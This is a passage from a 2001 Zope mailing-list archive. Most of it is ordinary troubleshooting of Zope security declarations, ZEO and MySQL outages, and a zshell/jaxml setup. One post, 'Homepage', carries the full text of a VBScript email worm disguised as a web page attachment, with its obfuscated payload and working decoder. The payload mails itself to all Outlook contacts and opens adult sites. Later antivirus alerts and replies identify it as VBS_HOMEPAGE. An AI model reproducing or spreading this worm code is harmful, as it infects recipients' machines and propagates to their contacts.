The external method 't' is also very simple, it just returns an = array of=20 class 'c'.
 
The dtml-method I'm using to access this array is as follows:
 
<dtml-var standard_html_header>
<dtml-in = t>
 =20 <dtml-var = "_['sequence-item'].score">
</dtml-in>
<dtml-var=20 standard_html_footer>
Nothing earth shattering there either.
 
BUT, I get an unauthorized error raised with this traceback = whenever I run=20 this dtml-method:
 
(note that a authentication login box is presented but NO user name = is able=20 to authenticate)
 
Traceback (innermost last):
  File=20 D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in=20 publish_module
  File = D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line=20 187, in publish
  File = D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py,=20 line 171, in publish
  File = D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py,=20 line 160, in mapply
    (Object: index_html)
  = File=20 D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in=20 call_object
    (Object: index_html)
  File=20 D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in=20 __call__
    (Object: index_html)
  File=20 D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, in=20 __call__
    (Object: index_html)
  File=20 D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in=20 renderwob
    (Object: t)
  File=20 D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in=20 eval
    (Object:=20 _['sequence-item'].score)
    (Info: _)
  File = &lt;string&gt;, line 0, in ?
  File=20 D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in=20 careful_getattr
  File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, = line=20 261, in validate
    (Object: index_html)
  = File=20 D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line 144, in=20 validate
  File=20 D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line 168, in = validate
Unauthorized: score
 
 
All of this is run on a bog standard install of Zope 2.3.2 with no = other=20 products installed, no security changes done, REALLY bog standard.
 
 
Anyone got any ideas?
 
Cos this is doin my f'in ed in man?!?!?!?!?!?
 
Phil
 
------=_NextPart_000_026D_01C0D899.E08A4D90-- From fritz.mesedilla@summitmedia.com.ph Wed May 9 15:16:24 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 9 May 2001 22:16:24 +0800 Subject: [Zope] zope and zeo In-Reply-To: <3AF96C6C.EBCE2CB5@digicool.com> Message-ID: uh, no because i used the default 8800 port. wait. the website finally works. after fixing a mysql database server in the US, all the other servers in the Philippines worked fine. why is that? the websites access the mysql database in the US that went down. but how come i can access only the top and right part of the management screen BUT NOT the left navigational part? now that the mysql server in the US is back, i can now see the left navi part? is it really connected to the mysql database? but that product (ZMySQL) is only part of a sub-folder? anyway, thanks for the advices. i hope you all continue to advice me about zeo. and how i can use much of it. thanks. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: Chris McDonough [mailto:chrism@digicool.com] Sent: Thursday, May 10, 2001 12:12 AM To: fritz.mesedilla@summitmedia.com.ph Cc: zope@zope.org Subject: Re: [Zope] zope and zeo When you changed the zeo port number in the clients' custom_zodb.py file(s), did you change the corresponding port number in the ZEO server's 'start' file? Fritz Mesedilla wrote: > > uh i'm not sure. all i changed was the location and port number of the zeo > server on the custom_zodb.py file. i didn't change anything. > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > -------------------------------------------------------------------------- -- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > -------------------------------------------------------------------------- -- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > -------------------------------------------------------------------------- -- > +Basta Ikaw Lord > > -----Original Message----- > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > Of Chris McDonough > Sent: Wednesday, May 09, 2001 7:54 PM > To: fritz.mesedilla@summitmedia.com.ph > Cc: zope@zope.org > Subject: Re: [Zope] zope and zeo > > Hi Fritz, > > Do you have logging turned on on the clients (ie. have you set the > STUPID_LOG_FILE environment variable up on the clients)? > > If so, do the logs say anything? > > As a voodoo measure, have you attempted to shut down and restart the ZEO > server and all the client processes? > > Fritz Mesedilla wrote: > > > > please help!!! > > > > all of a sudden zope won't start with zeo. > > > > what i mean is that the processes are running when doing "ps aux" but when > > you browse the site it doesn't wnat to load. it used to load then all of a > > sudden after two weeks of successful running i can't see the website. > > > > now i was able to make the management site come out in the browser but the > > left navigational bar doesn't want to load. > > > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > > > Fritz Mesedilla > > Systems Administrator > > > > "Ooops! Save your work, everyone. FAST!" > > -------------------------------------------------------------------------- > -- > > Summit Interactive, Inc. > > > > http://www.femalenetwork.com | http://www.candymag.com > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > -------------------------------------------------------------------------- > -- > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > -------------------------------------------------------------------------- > -- > > +Basta Ikaw Lord > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) From jasonic@nomadicsltd.com Wed May 9 15:34:40 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 9 May 2001 10:34:40 -0400 Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion References: Message-ID: <002901c0d895$2ef66400$c3090740@megapathdsl.net> From: "Jerome Alet" > > > It happens the same to me. > > > I'm running Zope 2.3.2 from source on Red Hat 7.1 and Python 1.5.2. > > > Same for me: > > Zope 2.3.2 from source, SuSE 6.4 and Python 1.5.2 jaxml-2.22 > > When you say it "HANGS", what is hanging ? Is it Zope which completely > stops to answer your queries (Zope dies) ? Zope does not die.. but the broswer never rueturns anyhting, like it is looking for a page forever.. I can continue working with Zope. I can close the window which had the zshell html annd bring it up again. somethign is not 'reaching' the browser. > Does the zshell redisplays itself when you click on "Run" but does > nothing ? RUN is broken. The browser indicats it is trying to redraw but it never succeeds. This is true for NS 4.5 and IE 5.5 on Win98se > What command did you try ? As which user were you running zshell ? None of the commands work. Running as user with full manager role. Is ther some other permsission needs to be set for the zhsell method? > Please everyone try to describe the problem the more precisely possible, > because I can't reproduce it ? > > And BTW, does the attached version solves the problem ? > > The attached document is a 0.6beta1 version gzipped zshell.py, replace the > one you've already with this one and test again. Thanks will try again. Meanwhile have been reading throght the previous code better to understand. What may be wrong. I suspect 2 things: 1. jaxml Fierst I tested from outside zope: [jasonic@colocate05 jasonic]$ python Python 1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66 19990314/Linux (egcs- on linux-i386 Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam >>> import jaxml >>> jaxml.__version__ '2.22' >>> x = jaxml.XML_document() >>> x.sometag(what="testing") >>> x.anestedtag(name="nested") >>> x._text("Waiting for Godot") >>> x Waiting for Godot I then wrote a simple testjaxml.py External Method: #testjaxml.py import jaxml def testjaxml.py(self): versionstring = jaxml.__version__ return versionstring calling this from Zope returns: jaxml version2.22 ok so far so good Then I extended testjaxml.py to include the same trivial jaxml tag test above: #testjaxml.py import jaxml import string def testjaxml(self): versionstring = "jaxml version" + jaxml.__version__ x =jaxml.XML_document() x.sometag(what="testing") x.anestedtag(name="nested") x._text("Waiting for Godot") return x This time it breaks: Error Type: SyntaxError Error Value: invalid syntax Traceback (innermost last): File /web/Zope/lib/python/ZPublisher/Publish.py, line 223, in publish_module File /web/Zope/lib/python/ZPublisher/Publish.py, line 187, in publish File /web/Zope/lib/python/Zope/__init__.py, line 221, in zpublisher_exception_hook (Object: testjaxml) File /web/Zope/lib/python/ZPublisher/Publish.py, line 171, in publish File /web/Zope-2.3.1-src/lib/python/ZPublisher/mapply.py, line 160, in mapply (Object: manage_edit) File /web/Zope/lib/python/ZPublisher/Publish.py, line 112, in call_object (Object: manage_edit) File /web/Zope-2.3.1-src/lib/python/Products/ExternalMethod/ExternalMethod.py, line 202, in manage_edit (Object: testjaxml) File /web/Zope-2.3.1-src/lib/python/Products/ExternalMethod/ExternalMethod.py, line 209, in getFunction (Object: testjaxml) File /web/Zope/lib/python/App/Extensions.py, line 217, in getObject (Info: ('/web/Zope/Extensions/testjaxml.py', 'testjaxml')) SyntaxError: (see above) Either I am doign somthing nicreduibly basic and dumb or jaxml2.22 is not very Zope freindly yet on this system. Not thta in the above Zoperror message the path changes from /web/Zope/.. to /web/Zope-2.3.1-src/.. This is becuae when I installed Zope I renamed the folder. Everythign else appears to work ok, but sometimes I get errors like that still. Maybe I shoudl so a nother fresh install Jerome, please can you post a simple working standa-alone jaxml External Method test file. 2. redirect problems I am using Zope 2.3.2 on Redhat6.2 behind Apache Proxy/ProxyReverse directives and SiteAcces/SiteRoot Pehaps these are compounding the above problems. I tried unsuccesffully to do a simple zshell install here on Windows last night. I want to test without Apache in the picture, aso because I like to wiorj with same Zope sintallation local and remote. Will try again today. I had probems getting the right version of jaxml to be seeen by zope. This is becuase I have multiple Zopes & Pythons on my Win98se laptop, and still don't understand how to use distutils to get a package correctly installed inside of given version of Zope. In other words I have previuously been using upgraded versions of jaxml from IDLE and Pythonwin shells fine. How the hell to do I install jaxml2.22 in zope so its own Python will use that version? I put the jaxml folder in various places lib/python and lib/python/Products. I added an __init__.py. thasks for all your work. wil try now with new zshell-0.6b1, but jaxml connection problems still need to be resolved. ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From nbernier@lw.mth.net Wed May 9 15:35:19 2001 From: nbernier@lw.mth.net (Nathalie Bernier) Date: Wed, 9 May 2001 16:35:19 +0200 Subject: [Zope] Homepage Message-ID: <00c201c0d895$5fa68850$2a00a8c0@longwy> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_00C3_01C0D8A6.232F5850 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi! You've got to see this page! It's really cool ;O) ------=_NextPart_000_00C3_01C0D8A6.232F5850 Content-Type: application/octet-stream; name="homepage.HTML.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="homepage.HTML.vbs" Execute = DeCode("Qp=11Gttqt=11Tguwog=11Pgzv=10=0FUgv=11YU=11?=11EtgcvgQdlgev*$YUet= krv0Ujgnn$+=10=0FUgv=11HUQ?=11Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+=10= =0FHqnfgt?HUQ0IgvUrgekcnHqnfgt*4+=10=0F=10=0FUgv=11KpH?HUQ0QrgpVgzvHkng*Y= Uetkrv0UetkrvHwnnpcog.3+=10=0FFq=11Yjkng=11KpH0CvGpfQhUvtgco>@Vtwg=10=0FU= etkrvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnh=10=0FNqqr=10=0F=10=0FUgv=11Q= wvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+=10=0FQwvH0ytkvg=11= UetkrvDwhhgt=10=0FQwvH0enqug=10=0FUgv=11HUQ?Pqvjkpi=10=0F=10=0FKh=11YU0tg= itgcf=11*$JMEW^uqhvyctg^Cp^ockngf$+=11>@=11$3$=11vjgp=10=0FOcknkv*+=10=0F= Gpf=11Kh=10=0F=10=0FUgv=11u?EtgcvgQdlgev*$Qwvnqqm0Crrnkecvkqp$+=10=0FUgv=11= v?u0IgvPcogUrceg*$OCRK$+=10=0FUgv=11w?v0IgvFghcwnvHqnfgt*8+=10=0FHqt=11k?= 3=11vq=11w0kvgou0eqwpv=10=0FKh=11w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$=11Vjg= p=10=0Fw0Kvgou0Kvgo*k+0enqug=10=0Fw0Kvgou0Kvgo*k+0fgngvg=10=0FGpf=11Kh=10= =0FPgzv=10=0FUgv=11w?v0IgvFghcwnvHqnfgt*5+=10=0FHqt=11k?3=11vq=11w0kvgou0= eqwpv=10=0FKh=11w0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$=11Vjgp=10=0Fw0Kvgou0Kv= go*k+0fgngvg=10=0FGpf=11Kh=10=0FPgzv=10=0F=10=0FTcpfqok|g=10=0Ft?Kpv**6,T= pf+-3+=10=0FKh=11t?3=11vjgp=10=0FYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pg= v1ujcppqp130jvo$+=10=0Fgnugkh=11t?4=11Vjgp=10=0FYU0Twp*$jvvr<11ogodgtu0pd= ek0eqo1aZOEO1rtkp|lg130jvo$+=10=0Fgnugkh=11t?5=11Vjgp=10=0FYU0Twp*$jvvr<1= 1yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+=10=0FGnugKh=11t?6=11Vjgp=10=0F= YU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+=10=0FGpf=11Kh=10=0F=10=0FHwpevkqp= =11Ocknkv*+=10=0FQp=11Gttqt=11Tguwog=11Pgzv=10=0FUgv=11Qwvnqqm=11?=11Etgc= vgQdlgev*$Qwvnqqm0Crrnkecvkqp$+=10=0FKh=11Qwvnqqm=11?=11$Qwvnqqm$=11Vjgp=10= =0F=12Ugv=11Ocrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+=10=0F=12Ugv=11Nkuvu?Ocrk0Cf= ftguuNkuvu=10=0F=12Hqt=11Gcej=11NkuvKpfgz=11Kp=11Nkuvu=10=0F=12=12Kh=11Nk= uvKpfgz0CfftguuGpvtkgu0Eqwpv=11>@=112=11Vjgp=10=0F=12=12=12EqpvcevEqwpv=11= ?=11NkuvKpfgz0CfftguuGpvtkgu0Eqwpv=10=0F=12=12=12Hqt=11Eqwpv?=113=11Vq=11= EqpvcevEqwpv=10=0F=12=12=12=12Ugv=11Ockn=11?=11Qwvnqqm0EtgcvgKvgo*2+=10=0F= =12=12=12=12Ugv=11Eqpvcev=11?=11NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+=10=0F=12=12= =12=12Ockn0Vq=11?=11Eqpvcev0Cfftguu=10=0F=12=12=12=12Ockn0Uwdlgev=11?=11$= Jqogrcig$=10=0F=12=12=12=12Ockn0Dqf{=11?=11xdetnh($Jk#$(xdetnh(xdetnh($[q= w)xg=11iqv=11vq=11ugg=11vjku=11rcig#=11Kv)u=11tgcnn{=11eqqn=11=3DQ+$(xdet= nh(xdetnh=10=0F=12=12=12=12Ugv=11Cvvcejogpv?Ockn0Cvvcejogpvu=10=0F=12=12=12= =12Cvvcejogpv0Cff=11Hqnfgt=11(=11$^jqogrcig0JVON0xdu$=10=0F=12=12=12=12Oc= kn0FgngvgChvgtUwdokv=11?=11Vtwg=10=0F=12=12=12=12Kh=11Ockn0Vq=11>@=11$$=11= Vjgp=10=0F=12=12=12=12Ockn0Ugpf=10=0F=12=12=12=12YU0tgiytkvg=11$JMEW^uqhv= yctg^Cp^ockngf$.=11$3$=10=0F=12=12=12Gpf=11Kh=10=0F=12=12=12Pgzv=10=0F=12= =12Gpf=11Kh=10=0F=12Pgzv=10=0FGpf=11kh=10=0FGpf=11Hwpevkqp") Function DeCode(Coded) For I =3D 1 To Len(Coded) CurChar=3D Mid(Coded, I, 1) If Asc(CurChar) =3D 15 Then CurChar=3D Chr(10) ElseIf Asc(CurChar) =3D 16 Then CurChar=3D Chr(13) ElseIf Asc(CurChar) =3D 17 Then CurChar=3D Chr(32) ElseIf Asc(CurChar) =3D 18 Then CurChar=3D Chr(9) Else CurChar =3D Chr(Asc(CurChar) - 2) End If DeCode =3D DeCode & CurChar Next End Function ------=_NextPart_000_00C3_01C0D8A6.232F5850-- From isvw@pwgsc.gc.ca Wed May 9 15:31:08 2001 From: isvw@pwgsc.gc.ca (isvw@pwgsc.gc.ca) Date: Wed, 09 May 2001 10:31:08 -0400 (Eastern Daylight Time) Subject: [Zope] InterScan NT Alert Message-ID: Receiver, InterScan has detected virus(es) in the e-mail attachment. PWGSC-TPSGC Date: Wed, 09 May 2001 10:31:08 -0400 (Eastern Daylight Time) Method: Mail From: To: File: homepage.HTML.vbs Action: clean failed - deleted Virus: VBS_HOMEPAGE.A From ANTIGEN_UMC-MAIL01@missouri.edu Wed May 9 15:32:54 2001 From: ANTIGEN_UMC-MAIL01@missouri.edu (ANTIGEN_UMC-MAIL01) Date: Wed, 9 May 2001 09:32:54 -0500 Subject: [Zope] Antigen found VBS/VBSWG.X@mm.Worm (Norman,Sophos) virus Message-ID: Antigen for Exchange found homepage.HTML.vbs infected with VBS/VBSWG.X@mm.Worm (Norman,Sophos) virus. The file is currently Removed. The message, "[Zope] Homepage", was sent from Nathalie Bernier and was discovered in IMC Queues\Inbound located at University of Missouri/Columbia/UMC-MAIL01. From EXCHANGE-SA@comfedcu.org Wed May 9 15:28:29 2001 From: EXCHANGE-SA@comfedcu.org (System Attendant) Date: Wed, 9 May 2001 09:28:29 -0500 Subject: [Zope] ScanMail Message: To Recipient virus found and action taken. Message-ID: <9BEC938FC276D411BA0A00508BC99794128222@exchange.comfedcu.org> ScanMail for Microsoft Exchange has detected virus-infected attachment(s). Sender = Nathalie Bernier Recipient(s) = zope@zope.org Subject = [Zope] Homepage Scanning Time = 05/09/2001 09:28:29 Action on virus found: The attachment homepage.HTML.vbs matched file blocking settings. ScanMail has Deleted it. Warning to recipient. ScanMail detected a virus in an email attachment. From tpassin@mitretek.org Wed May 9 15:33:42 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 9 May 2001 10:33:42 -0400 Subject: [Zope] stupid question: first 7 chars of an URL References: <989404212.3af91c34cbc01@static.sbarton.de> Message-ID: <012d01c0d895$0bae1a60$38a3f1ce@mitretek.org> [] can't figure out how to write the frist 7 characters of an URL string to a new var. works fine. doesn't work. [Tom] The expression urlvar[0:7] is correct, but you can't assign it to a variable or display it with a dtml-if instruction. You could display it with . For how to assign it to a new variable, there are several ways, including REQUEST.set and dtml-let. You have to read up on how to do it to suit what you want to do. Tom P From chrism@digicool.com Wed May 9 15:41:18 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 9 May 2001 10:41:18 -0400 Subject: [Zope] Security Problems? References: <027001c0d891$7f9d59d0$5c773fc1@media1> Message-ID: <000f01c0d896$1c200b50$8e17a8c0@kurtz> Hi Phil, Defining classes in external methods is... an interesting experience. I don't recommend it. It gets tricky because the file that external methods are defined in isn't actually a Python module, so interpreting the behavior is hard. That said, the security chapter of the developer's guide goes in to this a little (http://www.zope.org/Documentation/ZDG/Security.dtml). The problem is that the instances you're putting in the array don't have any security declarations, therefore access to them is denied (raising the unauthorized). The fix for this is to add security declarations to the class, e.g (untested): from AccessControl import ClassSecurityInfo from Globals import InitializeClass class c: security = ClassSecurityInfo() security.declareObjectPublic() security.setDefaultAccess('allow') def __init__(self,a): self.score=a self.test=a*a def t(self): retval=[] for a in range(1,10): inst = c(a) if not hasattr( InitializeClass(c) # its dumb to do this every time. retval.append(c(a)) return retval If this doesn't work for some reason (setDefaultAccess was broken in at least one Zope release), try to define the class c like so: class c: __allow_access_to_unprotected_subobjects__ = 1 def __init__(self,a): self.score=a self.test=a*a ----- Original Message ----- From: Phil Harris To: zope@zope.org Sent: Wednesday, May 09, 2001 10:08 AM Subject: [Zope] Security Problems? All, I've got a sneaking suspicion that there are some security problems in Zope 2.3.x. I've been trying to make a simple testcase and would like other (better) minds than mine to look at it. I have an external method which looks like: class c: def __init__(self,a): self.score=a self.test=a*a def t(self): retval=[] for a in range(1,10): retval.append(c(a)) return retval The class 'c' is a very simple class, it has no methods and only two attributes/properties 'score' and 'test'. The external method 't' is also very simple, it just returns an array of class 'c'. The dtml-method I'm using to access this array is as follows: Nothing earth shattering there either. BUT, I get an unauthorized error raised with this traceback whenever I run this dtml-method: (note that a authentication login box is presented but NO user name is able to authenticate) Traceback (innermost last): File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in publish_module File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 187, in publish File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 171, in publish File D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py, line 160, in mapply (Object: index_html) File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in call_object (Object: index_html) File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in __call__ (Object: index_html) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, in __call__ (Object: index_html) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in renderwob (Object: t) File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in eval (Object: _['sequence-item'].score) (Info: _) File <string>, line 0, in ? File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in careful_getattr File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 261, in validate (Object: index_html) File D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line 144, in validate File D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line 168, in validate Unauthorized: score All of this is run on a bog standard install of Zope 2.3.2 with no other products installed, no security changes done, REALLY bog standard. Anyone got any ideas? Cos this is doin my f'in ed in man?!?!?!?!?!? Phil phil.harris@zope.co.uk From tpassin@mitretek.org Wed May 9 15:37:54 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Wed, 9 May 2001 10:37:54 -0400 Subject: [Zope] Homepage References: <00c201c0d895$5fa68850$2a00a8c0@longwy> Message-ID: <014401c0d895$a2175a20$38a3f1ce@mitretek.org> Have we been spammed by a virus? I'm not looking at anything like this .vbs attachment!! Tom P ----- Original Message ----- From: "Nathalie Bernier" To: Sent: Wednesday, May 09, 2001 10:35 AM Subject: [Zope] Homepage > > Hi! > > You've got to see this page! It's really cool ;O) > > From chrism@digicool.com Wed May 9 15:44:13 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 9 May 2001 10:44:13 -0400 Subject: [Zope] Security Problems? References: <027001c0d891$7f9d59d0$5c773fc1@media1> <000f01c0d896$1c200b50$8e17a8c0@kurtz> Message-ID: <003201c0d896$8468f960$8e17a8c0@kurtz> Ignore the if not hasattr( in the t method below, sorry! ----- Original Message ----- From: "Chris McDonough" To: "Phil Harris" ; Sent: Wednesday, May 09, 2001 10:41 AM Subject: Re: [Zope] Security Problems? > Hi Phil, > > Defining classes in external methods is... an interesting experience. I > don't recommend it. It gets tricky because the file that external methods > are defined in isn't actually a Python module, so interpreting the behavior > is hard. > > That said, the security chapter of the developer's guide goes in to this a > little (http://www.zope.org/Documentation/ZDG/Security.dtml). The problem > is that the instances you're putting in the array don't have any security > declarations, therefore access to them is denied (raising the unauthorized). > The fix for this is to add security declarations to the class, e.g > (untested): > > from AccessControl import ClassSecurityInfo > from Globals import InitializeClass > > class c: > security = ClassSecurityInfo() > security.declareObjectPublic() > security.setDefaultAccess('allow') > def __init__(self,a): > self.score=a > self.test=a*a > > def t(self): > retval=[] > for a in range(1,10): > inst = c(a) > if not hasattr( > InitializeClass(c) # its dumb to do this every time. > retval.append(c(a)) > return retval > > > If this doesn't work for some reason (setDefaultAccess was broken in at > least one Zope release), try to define the class c like so: > > class c: > __allow_access_to_unprotected_subobjects__ = 1 > def __init__(self,a): > self.score=a > self.test=a*a > > ----- Original Message ----- > From: Phil Harris > To: zope@zope.org > Sent: Wednesday, May 09, 2001 10:08 AM > Subject: [Zope] Security Problems? > > > All, > > I've got a sneaking suspicion that there are some security problems in Zope > 2.3.x. > > I've been trying to make a simple testcase and would like other (better) > minds than mine to look at it. > > I have an external method which looks like: > > class c: > def __init__(self,a): > self.score=a > self.test=a*a > > def t(self): > retval=[] > for a in range(1,10): > retval.append(c(a)) > return retval > > > The class 'c' is a very simple class, it has no methods and only two > attributes/properties 'score' and 'test'. > > The external method 't' is also very simple, it just returns an array of > class 'c'. > > The dtml-method I'm using to access this array is as follows: > > > > > > > > Nothing earth shattering there either. > > BUT, I get an unauthorized error raised with this traceback whenever I run > this dtml-method: > > (note that a authentication login box is presented but NO user name is able > to authenticate) > > Traceback (innermost last): > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in > publish_module > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 187, in publish > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 171, in publish > File D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py, line 160, in mapply > (Object: index_html) > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in > call_object > (Object: index_html) > File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in __call__ > (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, in > __call__ > (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in > renderwob > (Object: t) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in eval > (Object: _['sequence-item'].score) > (Info: _) > File <string>, line 0, in ? > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in > careful_getattr > File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 261, in validate > (Object: index_html) > File D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line 144, in > validate > File D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line 168, > in validate > Unauthorized: score > > > All of this is run on a bog standard install of Zope 2.3.2 with no other > products installed, no security changes done, REALLY bog standard. > > > Anyone got any ideas? > > Cos this is doin my f'in ed in man?!?!?!?!?!? > > Phil > phil.harris@zope.co.uk > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From troy.farrell@wcg.com Wed May 9 15:50:11 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Wed, 9 May 2001 09:50:11 -0500 Subject: [Zope] Homepage Message-ID: Yep. That's the real deal. A virus: http://www.symantec.com/avcenter/venc/data/vbs.vbswg2.x@mm.html -----Original Message----- From: Thomas B. Passin [mailto:tpassin@mitretek.org] Sent: Wednesday, May 09, 2001 9:38 AM To: zope@zope.org Subject: Re: [Zope] Homepage Have we been spammed by a virus? I'm not looking at anything like this .vbs attachment!! Tom P ----- Original Message ----- From: "Nathalie Bernier" To: Sent: Wednesday, May 09, 2001 10:35 AM Subject: [Zope] Homepage > > Hi! > > You've got to see this page! It's really cool ;O) > > _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Wed May 9 15:47:37 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 9 May 2001 10:47:37 -0400 Subject: [Zope] zope and zeo References: Message-ID: <004501c0d896$fddb36f0$8e17a8c0@kurtz> Fritz, I'm sorry, I have no idea what your configuration is (and if I did, I'd probably not have time to sort it out), so I'm not sure what happened. Your problem certainly smells like the ZEO server went down and the clients were serving requests from their cache. A way to tell is by doing any sort of write to the ZODB on any of the clients, e.g. try to change and resave a DTML document (if your ZEO server is down, a write can't happen and it will raise an error). You may still want to try this. - C ----- Original Message ----- From: "Fritz Mesedilla" To: "Chris McDonough" ; Sent: Wednesday, May 09, 2001 10:16 AM Subject: RE: [Zope] zope and zeo > uh, no because i used the default 8800 port. > > wait. the website finally works. > after fixing a mysql database server in the US, all the other servers in the > Philippines worked fine. > why is that? > the websites access the mysql database in the US that went down. > but how come i can access only the top and right part of the management > screen BUT NOT the left navigational part? > now that the mysql server in the US is back, i can now see the left navi > part? > > is it really connected to the mysql database? but that product (ZMySQL) is > only part of a sub-folder? > > anyway, thanks for the advices. > > i hope you all continue to advice me about zeo. and how i can use much of > it. thanks. > > > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > -------------------------------------------------------------------------- -- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > -------------------------------------------------------------------------- -- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > -------------------------------------------------------------------------- -- > +Basta Ikaw Lord > > -----Original Message----- > From: Chris McDonough [mailto:chrism@digicool.com] > Sent: Thursday, May 10, 2001 12:12 AM > To: fritz.mesedilla@summitmedia.com.ph > Cc: zope@zope.org > Subject: Re: [Zope] zope and zeo > > > When you changed the zeo port number in the clients' custom_zodb.py > file(s), did you change the corresponding port number in the ZEO > server's 'start' 